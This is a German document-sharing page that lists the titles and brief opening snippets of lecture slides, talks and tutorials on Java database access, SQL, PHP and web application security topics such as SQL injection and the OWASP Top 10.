JDBC. Es kann z.b. eine ODBC-Treiberverbindung eingerichtet werden, damit das JAVA-Programm auf eine ACCESS-DB zugreifen kann.

JDBC. Es kann z.b. eine ODBC-Treiberverbindung eingerichtet werden, damit das JAVA-Programm auf eine ACCESS-DB zugreifen kann. JDBC in 5 Schritten JDBC (Java Database Connectivity) ist eine Sammlung von Klassen und Schnittstellen, mit deren Hilfe man Verbindungen zwischen Javaprogrammen und Datenbanken herstellen kann. 1 Einrichten

Mehr

Secure Coding & Live Hacking von Webapplikationen. Conect Informunity 8.3.2011

Secure Coding & Live Hacking von Webapplikationen. Conect Informunity 8.3.2011 Secure Coding & Live Hacking von Webapplikationen Conect Informunity 8.3.2011 Dr. Ulrich Bayer Security Research Sicherheitsforschung GmbH Motivation Datendiebstahl über (Web)-Applikationen passiert täglich

Mehr

Hacker-Methoden in der IT- Sicherheitsausbildung. Dr. Martin Mink

Hacker-Methoden in der IT- Sicherheitsausbildung. Dr. Martin Mink Hacker-Methoden in der IT- Sicherheitsausbildung Dr. Martin Mink Hacker-Angriffe 3.11.2010 Hacker-Methoden in der IT-Sicherheitsausbildung Dr. Martin Mink 2 Typische Angriffe auf Web- Anwendungen SQL Injection

Mehr

Ruby on Rails Sicherheit. Heiko Webers 42@rorsecurity.info

Ruby on Rails Sicherheit. Heiko Webers 42@rorsecurity.info Ruby on Rails Sicherheit Heiko Webers 42@rorsecurity.info Heiko Webers Ruby On Rails Security Project: www.rorsecurity.info E-Book Ruby On Rails Security Ruby On Rails Security Audits Webanwendungen Trends

Mehr

am Beispiel - SQL Injection

am Beispiel - SQL Injection am Beispiel - SQL Injection Einführung Warum ist Sicherheit ein Software Thema? Sicherheit in heutigen Softwareprodukten & Trends OWASP Top 10 Kategorien Hacking Demo SQL Injection: der Weg zu den Daten

Mehr

PHP. Prof. Dr.-Ing. Wolfgang Lehner. Diese Zeile ersetzt man über: Einfügen > Kopf- und

PHP. Prof. Dr.-Ing. Wolfgang Lehner. Diese Zeile ersetzt man über: Einfügen > Kopf- und 8. PHP Prof. Dr.-Ing. Wolfgang Lehner Diese Zeile ersetzt man über: Einfügen > Kopf- und PHP PHP (Hypertext Preprocessor) Serverseitige Skriptsprache (im Gegensatz zu JavaScript) Hauptanwendungsgebiet:

Mehr

IHK: Web-Hacking-Demo

IHK: Web-Hacking-Demo sic[!]sec, Achim Hoffmann IHK: Web-Hacking-Demo, Bayreuth 1. April 2014 1 von 34 IHK: Web-Hacking-Demo Achim Hoffmann Achim.Hoffmann@sicsec.de Bayreuth 1. April 2014 sic[!]sec GmbH spezialisiert auf Web

Mehr

Web Application Testing: Wie erkenne ich, ob meine Website angreifbar ist?

Web Application Testing: Wie erkenne ich, ob meine Website angreifbar ist? Pallas Security Colloquium Web Application Testing: Wie erkenne ich, ob meine Website angreifbar ist? 18.10.2011 Referent: Tim Kretschmann Senior System Engineer, CISO Pallas GmbH Hermülheimer Straße 8a

Mehr

MySQL 101 Wie man einen MySQL-Server am besten absichert

MySQL 101 Wie man einen MySQL-Server am besten absichert MySQL 101 Wie man einen MySQL-Server am besten absichert Simon Bailey simon.bailey@uibk.ac.at Version 1.1 23. Februar 2003 Change History 21. Jänner 2003: Version 1.0 23. Februar 2002: Version 1.1 Diverse

Mehr

PHP-(Un-)Sicherheit. Hacker-Seminar Herbstsemester 2006 Laboratory for Dependable Distributed Systems Universität Mannheim.

PHP-(Un-)Sicherheit. Hacker-Seminar Herbstsemester 2006 Laboratory for Dependable Distributed Systems Universität Mannheim. Hacker-Seminar Herbstsemester 2006 Laboratory for Dependable Distributed Systems Universität Mannheim Tim Weber 9. November 2006 Übersicht 1. Die Sprache PHP 2. Sicherheitslücken und Angriffsszenarien

Mehr

Isolationsstufen für. Dr. Karsten Tolle Dienstag 31. Januar 2012

Isolationsstufen für. Dr. Karsten Tolle Dienstag 31. Januar 2012 Isolationsstufen für Transaktionen / Sicherheit Dr. Karsten Tolle Dienstag 31. Januar 2012 Praxisbeispiel in Java Connection con = null; try { con = DriverManager.getConnection("jdbc:db2:sample"); } catch

Mehr

Analyse und praktischer Vergleich von neuen Access- Layer-Technologien in modernen Webanwendungen unter Java. Oliver Kalz

Analyse und praktischer Vergleich von neuen Access- Layer-Technologien in modernen Webanwendungen unter Java. Oliver Kalz Analyse und praktischer Vergleich von neuen Access- Layer-Technologien in modernen Webanwendungen unter Java Oliver Kalz Agenda Grundlagen Objektpersistenz Objektrelationales Mapping Performance Fazit

Mehr

Sicherheit Web basierter Anwendungen

Sicherheit Web basierter Anwendungen Sicherheit Web basierter Anwendungen IT Sicherheit Dozent: Prof. Dr. Stefan Karsch Enriko Podehl 13.02.2008 Einleitung it Web basierte basierte Anwendungen Teil unseres Alltags Geben dabei persönliche

Mehr

Einführung in SQL. 1. Grundlagen SQL. Structured Query Language. Viele Dialekte. Unterteilung: i. DDL (Data Definition Language)

Einführung in SQL. 1. Grundlagen SQL. Structured Query Language. Viele Dialekte. Unterteilung: i. DDL (Data Definition Language) Einführung in SQL 1. Grundlagen Structured Query Language Viele Dialekte Unterteilung: i. DDL (Data Definition Language) ii. iii. DML (Data Modifing Language) DRL (Data Retrival Language) 1/12 2. DDL Data

Mehr

Netzwerksicherheit Übung 9 Websicherheit

Netzwerksicherheit Übung 9 Websicherheit Netzwerksicherheit Übung 9 Websicherheit David Eckhoff, Tobias Limmer, Christoph Sommer Computer Networks and Communication Systems Dept. of Computer Science, University of Erlangen-Nuremberg, Germany

Mehr

PostgreSQL unter Debian Linux

PostgreSQL unter Debian Linux Einführung für PostgreSQL 7.4 unter Debian Linux (Stand 30.04.2008) von Moczon T. und Schönfeld A. Inhalt 1. Installation... 2 2. Anmelden als Benutzer postgres... 2 2.1 Anlegen eines neuen Benutzers...

Mehr

PHP-Security. Aleksander Paravac. watz@lug-bamberg.de http://www.lug-bamberg.de. Aleksander Paravac (GNU/Linux User Group Bamberg/Forchheim) 1 / 27

PHP-Security. Aleksander Paravac. watz@lug-bamberg.de http://www.lug-bamberg.de. Aleksander Paravac (GNU/Linux User Group Bamberg/Forchheim) 1 / 27 PHP-Security Aleksander Paravac watz@lug-bamberg.de http://www.lug-bamberg.de Aleksander Paravac (GNU/Linux User Group Bamberg/Forchheim) 1 / 27 Übersicht 1 Motivation 2 Einsatz von PHP auf dem Webserver

Mehr

Secure Webcoding for Beginners

Secure Webcoding for Beginners Secure Webcoding for Beginners $awareness++ Florian Brunner Florian Preinstorfer 09.06.2010 Hacking Night 2010 Vorstellung Florian Brunner Software Engineer CTF-Team h4ck!nb3rg Student sib08 Florian Preinstorfer

Mehr

Inhalt. Ein Einführung in die Nutzung von SQL-Datenbanken am Beispiel Oracle. Daten und Tabellen - ein Beispiel. Daten und Tabellen - Normalisierung

Inhalt. Ein Einführung in die Nutzung von SQL-Datenbanken am Beispiel Oracle. Daten und Tabellen - ein Beispiel. Daten und Tabellen - Normalisierung Inhalt Ein Einführung in die Nutzung von SQL-Datenbanken am Beispiel Oracle Daten und Tabellen Normalisierung, Beziehungen, Datenmodell SQL - Structured Query Language Anlegen von Tabellen Datentypen (Spalten,

Mehr

Web-Anwendungsentwicklung mit dem Delivery Server

Web-Anwendungsentwicklung mit dem Delivery Server Web-Anwendungsentwicklung mit dem Delivery Server Java-Framework auf Basis der Open API Bernfried Howe, Webertise Consulting GmbH WEBertise Consulting Dipl. Informatiker (Wirtschaftsinformatik) 2001-2010

Mehr

Java Persistence API 2.x. crud + relationships + jp-ql

Java Persistence API 2.x. crud + relationships + jp-ql Java Persistence API 2.x crud + relationships + jp-ql Grundprinzip 10.02.10 2 Problematik Man muss bei der Persistierung immer das Klassenmodell und dessen Umsetzung im Datenmodell (in der DB) berücksichtigen.

Mehr

Webapplikationssicherheit (inkl. Livehack) TUGA 15

Webapplikationssicherheit (inkl. Livehack) TUGA 15 Webapplikationssicherheit (inkl. Livehack) TUGA 15 Advisor for your Information Security Version: 1.0 Autor: Thomas Kerbl Verantwortlich: Thomas Kerbl Datum: 05. Dezember 2008 Vertraulichkeitsstufe: Öffentlich

Mehr

TimeMachine. Installation und Konfiguration. Version 1.4. Stand 21.11.2013. Dokument: install.odt. Berger EDV Service Tulbeckstr.

TimeMachine. Installation und Konfiguration. Version 1.4. Stand 21.11.2013. Dokument: install.odt. Berger EDV Service Tulbeckstr. Installation und Konfiguration Version 1.4 Stand 21.11.2013 TimeMachine Dokument: install.odt Berger EDV Service Tulbeckstr. 33 80339 München Fon +49 89 13945642 Mail rb@bergertime.de Versionsangaben Autor

Mehr

Web Application Security Wir sind bestens vor Angriffen gesichert, wir haben eine Firewall!

Web Application Security Wir sind bestens vor Angriffen gesichert, wir haben eine Firewall! Web Application Security Wir sind bestens vor Angriffen gesichert, wir haben eine Firewall! IT-SeCX 12.11.2010 Version: 1.0 Autor: A. Kravitz / K. Bauer Verantwortlich: A. Kravitz Datum: 12.11.2010 Vertraulichkeitsstufe:

Mehr

Hackerpraktikum SS 202

Hackerpraktikum SS 202 Hackerpraktikum SS 202 Philipp Schwarte, Lars Fischer Universität Siegen April 17, 2012 Philipp Schwarte, Lars Fischer 1/18 Organisation wöchentliche Übung mit Vorlesungsanteil alle zwei Wochen neue Aufgaben

Mehr

Themenkatalog der Schulungsinhalte

Themenkatalog der Schulungsinhalte IT-Training Themenkatalog der Schulungsinhalte Seite 1 von 6 Inhalt 1. DATENBANKEN... 3 1.1 Datenbank - Programmierung... 3 1.1.1 SQL - Structured Query Language / Compound Statements...3 1.2 Datenbank

Mehr

HACK THAT WEBSITE! WEB SECURITY IM SELBSTVERSUCH

HACK THAT WEBSITE! WEB SECURITY IM SELBSTVERSUCH HACK THAT WEBSITE! WEB SECURITY IM SELBSTVERSUCH Dr. Stefan Schlott, BeOne Stuttgart GmbH ABOUT.TXT Stefan Schlott, BeOne Stuttgart GmbH Java-Entwickler, Scala-Enthusiast, Linux-Jünger Seit jeher begeistert

Mehr

am Beispiel - SQL Injection

am Beispiel - SQL Injection am Beispiel - SQL Injection Einführung } Warum ist Sicherheit ein Software Thema? } Sicherheit in heutigen Softwareprodukten & Trends } OWASP Top 10 Kategorien Hacking Demo } SQL Injection: der Weg zu

Mehr

SQL, MySQL und FileMaker

SQL, MySQL und FileMaker SQL, MySQL und FileMaker Eine kurze Einführung in SQL Vorstellung von MySQL & phpmyadmin Datenimport von MySQL in FileMaker Autor: Hans Peter Schläpfer Was ist SQL? «Structured Query Language» Sprache

Mehr

Web Hacking - Angriffe und Abwehr

Web Hacking - Angriffe und Abwehr Web Hacking - Angriffe und Abwehr UNIX-Stammtisch 31. Januar 2012 Frank Richter Holger Trapp Technische Universität Chemnitz Universitätsrechenzentrum Motivation (1): Für uns Lehrveranstaltung: Techniken

Mehr

Baustein Webanwendungen. Stephan Klein, Jan Seebens

Baustein Webanwendungen. Stephan Klein, Jan Seebens Baustein Webanwendungen Stephan Klein, Jan Seebens Agenda Bedrohungslage für Webanwendungen Baustein Webanwendungen 1) Definition und Abgrenzung 2) Goldene Regeln 3) Spezifische Gefährdungen 4) Spezifische

Mehr

Wolkig bis heiter. Andreas Wismann WHEN OTHERS. APEX als Drehkreuz für Web Service-Anwendungen

Wolkig bis heiter. Andreas Wismann WHEN OTHERS. APEX als Drehkreuz für Web Service-Anwendungen Wolkig bis heiter APEX als Drehkreuz für Web Service-Anwendungen Andreas Wismann WHEN OTHERS Beratung Projektmanagement Coaching rund um Oracle Application Express In APEX Informationen von "woanders"

Mehr

DATENBANKEN SQL UND SQLITE VON MELANIE SCHLIEBENER

DATENBANKEN SQL UND SQLITE VON MELANIE SCHLIEBENER DATENBANKEN SQL UND SQLITE VON MELANIE SCHLIEBENER INHALTSVERZEICHNIS 1. Datenbanken 2. SQL 1.1 Sinn und Zweck 1.2 Definition 1.3 Modelle 1.4 Relationales Datenbankmodell 2.1 Definition 2.2 Befehle 3.

Mehr

Datenbanken erstellen Liste von Datenbanken anzeigen Datenbanken löschen. MySQL 4, 5. Kapitel 06: Datenbanken. Marcel Noe

Datenbanken erstellen Liste von Datenbanken anzeigen Datenbanken löschen. MySQL 4, 5. Kapitel 06: Datenbanken. Marcel Noe MySQL 4, 5 Kapitel 06: Datenbanken Gliederung 1 Datenbanken erstellen 2 3 Datenbanken erstellen CREATE DATABASE erstellt. Optional kann der Parameter IF NOT EXISTS die Datenbank bereits existiert.

Mehr

Datensicherheit. Vorlesung 5: 15.5.2015. Sommersemester 2015 h_da. Heiko Weber, Lehrbeauftragter

Datensicherheit. Vorlesung 5: 15.5.2015. Sommersemester 2015 h_da. Heiko Weber, Lehrbeauftragter Datensicherheit Vorlesung 5: 15.5.2015 Sommersemester 2015 h_da, Lehrbeauftragter Inhalt 1. Einführung & Grundlagen der Datensicherheit 2. Identitäten / Authentifizierung / Passwörter 3. Kryptografie 4.

Mehr

Carsten Eilers / www.ceilers-it.de. Sicherheit von Anfang an

Carsten Eilers / www.ceilers-it.de. Sicherheit von Anfang an Carsten Eilers / www.ceilers-it.de Sicherheit von Anfang an Vorstellung Berater für IT-Sicherheit Web Security (Pentests, Beratung,...)... Autor PHP Magazin, Entwickler Magazin Blog: www.ceilers-news.de...

Mehr

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) {

7.11.2006. int ConcatBuffers(char *buf1, char *buf2, size_t len1, size_t len2) { Universität Mannheim Lehrstuhl für Praktische Informatik 1 Prof. Dr. Felix C. Freiling Dipl.-Inform. Martin Mink Dipl.-Inform. Thorsten Holz Vorlesung Angewandte IT-Sicherheit Herbstsemester 2006 Übung

Mehr

Betroffene Produkte: Alle Versionen von Oracle Forms (3.0-10g, C/S und Web), Oracle Clinical, Oracle Developer Suite

Betroffene Produkte: Alle Versionen von Oracle Forms (3.0-10g, C/S und Web), Oracle Clinical, Oracle Developer Suite Zusammenfassung: Alle Oracle Forms Anwendungen sind per Default durch SQL Injection angreifbar. Oracle Applications >=11.5.9 ist davon nicht betroffen, da hier standardmäßig der Wert FORMSxx_RESTRICT_ENTER_QUERY

Mehr

JSP JSTL. JEE Vorlesung Teil 6. Ralf Gitzel ralf_gitzel@hotmail.de

JSP JSTL. JEE Vorlesung Teil 6. Ralf Gitzel ralf_gitzel@hotmail.de JSP JSTL JEE Vorlesung Teil 6 Ralf Gitzel ralf_gitzel@hotmail.de 1 Übersicht Ralf Gitzel ralf_gitzel@hotmail.de 2 Übersicht Wiederholung / Vertiefung JSTL Grundlagen JSTL Basisbefehle Templates über JSTL

Mehr

Datumsangaben, enthält mindestens Jahr, Monat, Tag

Datumsangaben, enthält mindestens Jahr, Monat, Tag Datenbanken mit SQL Informatik - Sprenger Häufig wird mit Tabellenkalkulationen gearbeitet, obwohl der Einsatz von Datenbanken sinnvoller ist. Tabellenkalkulationen wie Microsoft Excel oder LibreOffice

Mehr

DB2 SQL, der Systemkatalog & Aktive Datenbanken

DB2 SQL, der Systemkatalog & Aktive Datenbanken DB2 SQL, der Systemkatalog & Aktive Datenbanken Lehr- und Forschungseinheit Datenbanken und Informationssysteme 1 Ziele Auf DB2 Datenbanken zugreifen DB2 Datenbanken benutzen Abfragen ausführen Den Systemkatalog

Mehr

Sicherheit in Datenbank- und Informationssystemen

Sicherheit in Datenbank- und Informationssystemen Sicherheit in Datenbank- und Informationssystemen Ingo Frommholz Universität Duisburg-Essen ingo.frommholz@uni-due.de Datenbank-Praktikum 12. Juli 2006 UNIVERSITÄT D U I S B U R G E S S E N Inhalt 1 Sicherheit

Mehr

Paper: Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications

Paper: Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications Paper: Automated Discovery of Parameter Pollution Vulnerabilities in Web Applications Referat von Georg Räß und Kevin Virmani Paper geschrieben von Marco Balduzzi,Carmen Torrano Gimenez,Davide Balzarotti

Mehr

E-Commerce: IT-Werkzeuge. Web-Programmierung. Kapitel 6: Datenbankabfragen mit SQL und PHP. Stand: 24.11.2014. Übung WS 2014/2015

E-Commerce: IT-Werkzeuge. Web-Programmierung. Kapitel 6: Datenbankabfragen mit SQL und PHP. Stand: 24.11.2014. Übung WS 2014/2015 Übung WS 2014/2015 E-Commerce: IT-Werkzeuge Web-Programmierung Kapitel 6: Datenbankabfragen mit SQL und PHP Stand: 24.11.2014 Benedikt Schumm M.Sc. Lehrstuhl für ABWL und Wirtschaftsinformatik Katholische

Mehr

ORM & OLAP. Object-oriented Enterprise Application Programming Model for In-Memory Databases. Sebastian Oergel

ORM & OLAP. Object-oriented Enterprise Application Programming Model for In-Memory Databases. Sebastian Oergel ORM & OLAP Object-oriented Enterprise Application Programming Model for In-Memory Databases Sebastian Oergel Probleme 2 Datenbanken sind elementar für Business-Anwendungen Gängiges Datenbankparadigma:

Mehr

Daten Bank. 5. Vorlesung

Daten Bank. 5. Vorlesung Daten Bank 5. Vorlesung 4. VL von bis Person (0,n) lebt_in (0,n) Ort AusweisNr. Name Vorname PLZ Ortsname SQL: create insert select 1. Normalform Schlüssel und Funktionale Abhängigkeiten Dr. Karsten Tolle

Mehr

Entwicklungsumgebung für die Laborübung

Entwicklungsumgebung für die Laborübung Entwicklungsumgebung für die Laborübung VU Datenbanksysteme Wolfgang Fischl Arbeitsbereich Datenbanken und Artificial Intelligence Institut für Informationssysteme Technische Universität Wien Wintersemester

Mehr

SQL für Trolle. mag.e. Dienstag, 10.2.2009. Qt-Seminar

SQL für Trolle. mag.e. Dienstag, 10.2.2009. Qt-Seminar Qt-Seminar Dienstag, 10.2.2009 SQL ist......die Abkürzung für Structured Query Language (früher sequel für Structured English Query Language )...ein ISO und ANSI Standard (aktuell SQL:2008)...eine Befehls-

Mehr

HACK YOUR OWN WEBSITE! WEB SECURITY IM SELBSTVERSUCH. Stefan Schlott @_skyr

HACK YOUR OWN WEBSITE! WEB SECURITY IM SELBSTVERSUCH. Stefan Schlott @_skyr HACK YOUR OWN WEBSITE! WEB SECURITY IM SELBSTVERSUCH Stefan Schlott @_skyr DIE OWASP TOP-10 Alpha und Omega der Security-Talks :-) TOP 10 VON 2013 1. Injection 2. Broken Authentication/Session Management

Mehr

Datenbanksysteme SS 2007

Datenbanksysteme SS 2007 Datenbanksysteme SS 2007 Frank Köster (Oliver Vornberger) Institut für Informatik Universität Osnabrück Kapitel 9c: Datenbankapplikationen Architektur einer Web-Applikation mit Servlets, JSPs und JavaBeans

Mehr

Hibernate Das Praxisbuch für Entwickler

Hibernate Das Praxisbuch für Entwickler Sebastian Hennebrüder 2008 AGI-Information Management Consultants May be used for personal purporses only or by libraries associated to dandelon.com network. Hibernate Das Praxisbuch für Entwickler Galileo

Mehr

HACK THAT WEBSITE! WEB SECURITY IM SELBSTVERSUCH

HACK THAT WEBSITE! WEB SECURITY IM SELBSTVERSUCH HACK THAT WEBSITE! WEB SECURITY IM SELBSTVERSUCH Dr. Stefan Schlott, BeOne Stuttgart GmbH ABOUT.TXT Stefan Schlott, BeOne Stuttgart GmbH Java-Entwickler, Scala-Enthusiast, Linux-Jünger Seit jeher begeistert

Mehr

Fakultät für Informatik & Wirtschaftsinformatik DB & IS II - SS 2015. Metadaten

Fakultät für Informatik & Wirtschaftsinformatik DB & IS II - SS 2015. Metadaten Fakultät für Informatik & Wirtschaftsinformatik Metadaten Metadaten sind Daten über Daten Data-Dictionary speichert Informationen über die Struktur der Daten, z.b.: Tabellen, Spalten, Datentypen Primär-

Mehr

Datenbanken SQL Einführung Datenbank in MySQL einrichten mit PhpMyAdmin

Datenbanken SQL Einführung Datenbank in MySQL einrichten mit PhpMyAdmin Datenbanken SQL Einführung Datenbank in MySQL einrichten mit PhpMyAdmin PhpMyAdmin = grafsches Tool zur Verwaltung von MySQL-Datenbanken Datenbanken erzeugen und löschen Tabellen und Spalten einfügen,

Mehr

SQL-INJECTIONS. N E T D E V E L O P E R S G R O U P B E R L I N B R A N D E N B U R G, 0 5. 0 4. 2 0 1 2

SQL-INJECTIONS. N E T D E V E L O P E R S G R O U P B E R L I N B R A N D E N B U R G, 0 5. 0 4. 2 0 1 2 SQL-INJECTIONS. N E T D E V E L O P E R S G R O U P B E R L I N B R A N D E N B U R G, 0 5. 0 4. 2 0 1 2 Wie sind die nur wieder an meine Kreditkartendaten gekommen? http://www.testedich.de/quiz29/picture/pic_1312394875_7.jpg

Mehr

7. Datenbank-Zugriff. Vorlesung und Übung Dr. Peter Pfahler Institut für Informatik Universität Paderborn. Zum Beispiel aus PHP-Skripten: Client 7-2

7. Datenbank-Zugriff. Vorlesung und Übung Dr. Peter Pfahler Institut für Informatik Universität Paderborn. Zum Beispiel aus PHP-Skripten: Client 7-2 5 Vorlesung und Übung Dr. Peter Pfahler Institut für Informatik Universität Paderborn 7 7. Datenbank-Zugriff Zum Beispiel aus PHP-Skripten: Client 7-2 Struktur einer Datenbank 7-3 Erzeugen von Datenbanken

Mehr

Web Application Security

Web Application Security Web Application Security Was kann schon schiefgehen. Cloud & Speicher Kommunikation CMS Wissen Shops Soziale Netze Medien Webseiten Verwaltung Chancen E-Commerce Kommunikation Globalisierung & Digitalisierung

Mehr